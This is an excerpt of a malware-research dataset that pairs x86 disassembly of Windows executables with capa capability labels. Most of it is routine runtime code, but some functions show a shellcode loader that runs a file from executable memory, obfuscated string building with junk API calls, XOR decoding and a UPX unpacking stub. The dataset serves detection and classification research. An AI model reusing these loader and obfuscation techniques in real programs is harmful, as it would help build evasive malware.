joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4261b3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4f5b10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [fcn.0041b16e]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0041f77e
mov dword [ebp - 0x14], eax
cmp dword [0x4fbb78], edi
jne 0x4262a4
push 0x800
push edi
push 0x42d298
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x426231
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x426384
push 0x42d298
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x426384
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x426384
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x4fbb78], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x4fbb7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x4fbb80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4fbb88], eax
test eax, eax
je 0x4262a1
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4fbb84], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4262c9
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4262bc
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x4262de
push 4
pop eax
jmp 0x426386
cmp dword [ebp - 0x14], edi
je 0x4262de
push dword [0x4fbb78]
call dword [fcn.0041b172]
push 3
jmp 0x4262c3
mov eax, dword [0x4fbb84]
mov ebx, dword [fcn.0041b172]
cmp eax, esi
je 0x42633c
cmp dword [0x4fbb88], esi
je 0x42633c
push eax
call ebx
push dword [0x4fbb88]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x42633c
test eax, eax
je 0x42633c
call ecx
test eax, eax
je 0x426331
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x426331
test byte [ebp - 8], 1
jne 0x42633c
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x42636c
mov eax, dword [0x4fbb7c]
cmp eax, esi
je 0x426369
push eax
call ebx
test eax, eax
je 0x426369
call eax
mov edi, eax
test edi, edi
je 0x426369
mov eax, dword [0x4fbb80]
cmp eax, esi
je 0x426369
push eax
call ebx
test eax, eax
je 0x426369
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x4fbb78]
call ebx
test eax, eax
je 0x426384
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x426386
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041f4df
leave
ret
Function at 0x403b6c
Capabilities:
Allocate or change rwx memory
Read .ini file

Disassembly:
mov eax, 0x447c9b
call fcn.00447ba8
sub esp, 0x178
push ebx
push esi
mov eax, 0xb2d3b
add dword [0x4882d4], eax
xor ebx, ebx
cmp dword [0x4882d4], 0x16
jne 0x403c0c
push edi
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call dword [sym.imp.USER32.dll_WindowFromPoint]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0x402c48
push ebx
push 0x402ca8
push 0x402cfc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
call fcn.00403140
lea eax, [ebp - 0x3c]
call fcn.00403e8f
push ebx
mov dword [ebp - 4], ebx
call fcn.00404bbe
mov dword [esp], 0x929
push 0xea
call fcn.00404c4c
push ebx
push ebx
push ebx
call fcn.004052c3
or dword [ebp - 4], 0xffffffff
add esp, 0x14
lea edi, [ebp - 0x3c]
call fcn.00403eb4
pop edi
xor eax, eax
cmp eax, 0xf027935
jg 0x403c1d
inc eax
cmp eax, 0x736259b2
jl 0x403c0e
push 0x45bac8
mov byte [0x45bad2], 0x6c
mov byte [0x45bad3], 0x6c
mov byte [0x45bad4], bl
mov byte [0x45bac8], 0x6b
mov byte [0x45bac9], 0x65
mov byte [0x45baca], 0x72
mov byte [0x45bacd], 0x6c
mov byte [0x45bacf], 0x32
mov byte [0x45bad0], 0x2e
mov byte [0x45bacb], 0x6e
mov byte [0x45bacc], 0x65
mov byte [0x45bad1], 0x64
mov byte [0x45bace], 0x33
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push dword [0x4882d4]
mov dword [0x488244], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x4882d4]
mov dword [0x488240], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x455fec]
xor esi, esi
mov dword [0x4883ac], eax
cmp dword [0x4882d4], ebx
jbe 0x403d0e
mov eax, dword [0x4883ac]
mov dword [ebp - 0x14], eax
mov eax, 0xb2d3b
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov al, byte [eax + esi]
mov ecx, dword [0x488240]
mov byte [ecx + esi], al
cmp dword [0x4882d4], 0x44
jne 0x403d05
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
inc esi
cmp esi, dword [0x4882d4]
jb 0x403cc0
call fcn.00403ab2
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
cmp esi, 0x770e
jne 0x403d32
call fcn.00403b46
inc esi
cmp esi, 0x286c535
jl 0x403d15
push 0x7b
pop esi
cmp dword [0x4882d4], 0xd
jne 0x403d7b
push 0x30
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0x70], ebx
call fcn.00409b50
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push 0x402d48
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_GetOldestEventLogRecord]
dec esi
jne 0x403d3e
call fcn.00403b60
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x403d91
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push ebx
push esi
xor esi, esi
cmp dword [0x4882d4], 0xc
push edi
jne 0x403e0a
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push dword [ebp - 4]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.GDI32.dll_GetFontUnicodeRanges]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push 0x402c37
push 0x45bac8
call fcn.00404a1f
push esi
call fcn.00404fb4
push esi
call fcn.00404d9e
push esi
call fcn.00404d88
push esi
push esi
call fcn.0040519b
push esi
call fcn.00404f9d
add esp, 0x20
mov eax, dword [0x45ae0c]
mov edi, dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
mov dword [0x4882d4], eax
mov ebx, 0x9ae37
cmp dword [0x4882d4], 0x15
jne 0x403e79
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push 0x402d80
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0x402d98
push 0x402de8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea eax, [ebp - 0x134]
push eax
push esi
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
lea eax, [ebp - 0x250]
push eax
push esi
push esi
call edi
dec ebx
jne 0x403e1f
call fcn.00403211
call fcn.00403b6c
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x405a9b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4545d0]
jne 0x405aa5
repz ret
jmp fcn.0040c05c
Function at 0x40e50a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408ee6
and dword [ebp - 4], 0
cmp dword [0x45b9b4], 0
mov ebx, eax
jne 0x40e5bb
push 0x401b78
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40e66c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401b6c
push edi
call esi
test eax, eax
je 0x40e66c
push eax
call fcn.00408e74
mov dword [esp], 0x401b5c
push edi
mov dword [0x45b9b4], eax
call esi
push eax
call fcn.00408e74
mov dword [esp], 0x401b48
push edi
mov dword [0x45b9b8], eax
call esi
push eax
call fcn.00408e74
mov dword [esp], 0x401b2c
push edi
mov dword [0x45b9bc], eax
call esi
push eax
call fcn.00408e74
pop ecx
mov dword [0x45b9c4], eax
test eax, eax
je 0x40e5bb
push 0x401b14
push edi
call esi
push eax
call fcn.00408e74
pop ecx
mov dword [0x45b9c0], eax
mov eax, dword [0x45b9c0]
cmp eax, ebx
je 0x40e613
cmp dword [0x45b9c4], ebx
je 0x40e613
push eax
call fcn.00408eef
push dword [0x45b9c4]
mov esi, eax
call fcn.00408eef
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40e613
test edi, edi
je 0x40e613
call esi
test eax, eax
je 0x40e60a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40e60a
test byte [ebp - 0xc], 1
jne 0x40e613
or dword [ebp + 0x10], 0x200000
jmp 0x40e64c
mov eax, dword [0x45b9b8]
cmp eax, ebx
je 0x40e64c
push eax
call fcn.00408eef
pop ecx
test eax, eax
je 0x40e64c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40e64c
mov eax, dword [0x45b9bc]
cmp eax, ebx
je 0x40e64c
push eax
call fcn.00408eef
pop ecx
test eax, eax
je 0x40e64c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45b9b4]
call fcn.00408eef
pop ecx
test eax, eax
je 0x40e66c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40e66e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c10
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407050
call sym._EnterCriticalSection_4
mov ebx, dword [0x407048]
sub esp, 4
test ebx, ebx
je 0x401c5b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401c54
test esi, esi
je 0x401c54
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401c30
mov dword [esp], 0x407050
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401e40
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401f68
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401ece
cmp eax, 4
jne 0x401ef0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401ede
cmp edx, 4
je 0x401ede
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401e40
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.bin_32.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401030
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.004010a2
add esp, 4
mov ebx, eax
push 0
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov dword [ebx], 0
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401090
push esi
push ebx
push edi
call fcn.00404910
add esp, 0xc
test eax, eax
jne 0x401099
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
call edi
jmp 0x4010a0
jmp 0x4010a0

Function at 0x4010b8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409054]
jne 0x4010c2
repz ret
jmp fcn.00401395
Function at 0x4036ec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409054]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402284
and dword [ebp - 0x14], 0
cmp dword [0x40a81c], 0
mov dword [ebp - 0x18], eax
jne 0x40379f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403847
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403847
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40a81c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40a820], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40a824], eax
call edi
push eax
call esi
mov dword [0x40a82c], eax
test eax, eax
je 0x40379f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40a828], eax
mov eax, dword [0x40a828]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4037f8
cmp dword [0x40a82c], ecx
je 0x4037f8
push eax
call esi
push dword [0x40a82c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4037f8
test ebx, ebx
je 0x4037f8
call edi
test eax, eax
je 0x4037ef
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4037ef
test byte [ebp - 8], 1
jne 0x4037f8
or dword [ebp + 0x10], 0x200000
jmp 0x40382b
mov eax, dword [0x40a820]
cmp eax, dword [ebp - 0x18]
je 0x40382b
push eax
call esi
test eax, eax
je 0x40382b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40382b
mov eax, dword [0x40a824]
cmp eax, dword [ebp - 0x18]
je 0x40382b
push eax
call esi
test eax, eax
je 0x40382b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40a81c]
call esi
test eax, eax
je 0x403847
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403849
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010b8
leave
ret
Function at 0x43b664
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x43b3c1
add esi, edx
call fcn.0043b69e
add edx, esi
xor dword [edi], ebx
sub edx, 0x377a6333
add edi, 1
mov edx, 0xac03f658
add esi, 1
cmp edi, ecx
jne fcn.0043b664
or esi, esi
push 0x1d23b28f
pop esi
ret
Function at 0x403780
Capabilities:
Delete file
Enumerate gui resources

Disassembly:
mov eax, dword [0x4ac4dc]
mov ecx, dword [0x4a93e4]
sub esp, 0xc2c
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x403897
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, dword [sym.imp.KERNEL32.dll_GetCommState]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x4ac4dc], 0x959
jne 0x40387d
push 0
push 0
call edi
push 0
push 0
call ebx
lea eax, [esp + 0x18]
push eax
push 0x402cb0
push 0
lea ecx, [esp + 0x444]
push ecx
push 0
push 0x402cc4
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
lea edx, [esp + 0x1c]
push edx
push 0
call esi
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [esp + 0x83c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call esi
push 0
push 0x402cd0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0x402d10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov edx, dword [esp + 0x10]
push edx
call fcn.004035e0
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x4037c0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc2c
ret
Function at 0x4074aa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43f238]
jne 0x4074b4
repz ret
jmp fcn.0040c8b8

Function at 0x40d3af
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00409c45
and dword [ebp - 4], 0
cmp dword [0x442278], 0
mov ebx, eax
jne 0x40d460
push 0x4024a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d511
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402498
push edi
call esi
test eax, eax
je 0x40d511
push eax
call fcn.00409bd3
mov dword [esp], 0x402488
push edi
mov dword [0x442278], eax
call esi
push eax
call fcn.00409bd3
mov dword [esp], 0x402474
push edi
mov dword [0x44227c], eax
call esi
push eax
call fcn.00409bd3
mov dword [esp], 0x402458
push edi
mov dword [0x442280], eax
call esi
push eax
call fcn.00409bd3
pop ecx
mov dword [0x442288], eax
test eax, eax
je 0x40d460
push 0x402440
push edi
call esi
push eax
call fcn.00409bd3
pop ecx
mov dword [0x442284], eax
mov eax, dword [0x442284]
cmp eax, ebx
je 0x40d4b8
cmp dword [0x442288], ebx
je 0x40d4b8
push eax
call fcn.00409c4e
push dword [0x442288]
mov esi, eax
call fcn.00409c4e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d4b8
test edi, edi
je 0x40d4b8
call esi
test eax, eax
je 0x40d4af
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d4af
test byte [ebp - 0xc], 1
jne 0x40d4b8
or dword [ebp + 0x10], 0x200000
jmp 0x40d4f1
mov eax, dword [0x44227c]
cmp eax, ebx
je 0x40d4f1
push eax
call fcn.00409c4e
pop ecx
test eax, eax
je 0x40d4f1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d4f1
mov eax, dword [0x442280]
cmp eax, ebx
je 0x40d4f1
push eax
call fcn.00409c4e
pop ecx
test eax, eax
je 0x40d4f1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x442278]
call fcn.00409c4e
pop ecx
test eax, eax
je 0x40d511
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d513
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410027
Capabilities:
Get number of processors

Disassembly:
push 0
push edi
mov edi, 0x40e054
xchg dword [esp], edi
ret
mov ecx, ebx
clc
nop
nop
cld
jae 0x40ff5a
mov esi, 0xaed500
add byte [eax], al
dec edi
add ecx, dword [ecx + 0x3c]
clc
pushal
clc
nop
nop
cld
jae 0x40d62e
add byte [ebx], dh
pop esi
mov esp, ebp
push esi
movsd dword es:[edi], dword [esi]
test byte [ebp + 0x6a], bl
add al, bh
nop
nop
cld
jae 0x40d231
add byte [eax - 0x32d71c00], dh
cld
pop ebp
Function at 0x596600
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x11f000]
mov dword [edi + 0x11f09c], 0x64cbcf3
push edi
or ebp, 0xffffffff
jmp 0x59662a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x596631
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x596620
mov eax, 1
add ebx, ebx
jne 0x596643
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x596654
jne 0x596673
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x596673
dec eax
add ebx, ebx
jne 0x596660
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x596638
add ebx, ebx
jne 0x59666f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5966c5
xor ecx, ecx
sub eax, 3
jb 0x59668b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5966fa
sar eax, 1
mov ebp, eax
jmp 0x596696
add ebx, ebx
jne 0x596696
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x596664
inc ecx
add ebx, ebx
jne 0x5966a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x596664
add ebx, ebx
jne 0x5966b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5966a6
jne 0x5966c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5966a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5966e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5966d6
jmp 0x596626
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5966e4
add edi, ecx
jmp 0x596626
pop esi
mov edi, esi
mov ecx, 0x9b4a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x596702
cmp byte [edi], 0x16
jne 0x596702
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x596707
lea edi, [esi + 0x192000]
mov eax, dword [edi]
or eax, eax
je 0x596776
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x198c10]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x198d18]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x596734
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x198d20]
or eax, eax
je 0x596770
mov dword [ebx], eax
add ebx, 4
jmp 0x596751
call dword [esi + 0x198d1c]
mov ebp, dword [esi + 0x198d24]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5967aa
sub esp, 0xffffff80
jmp 0x51f5b8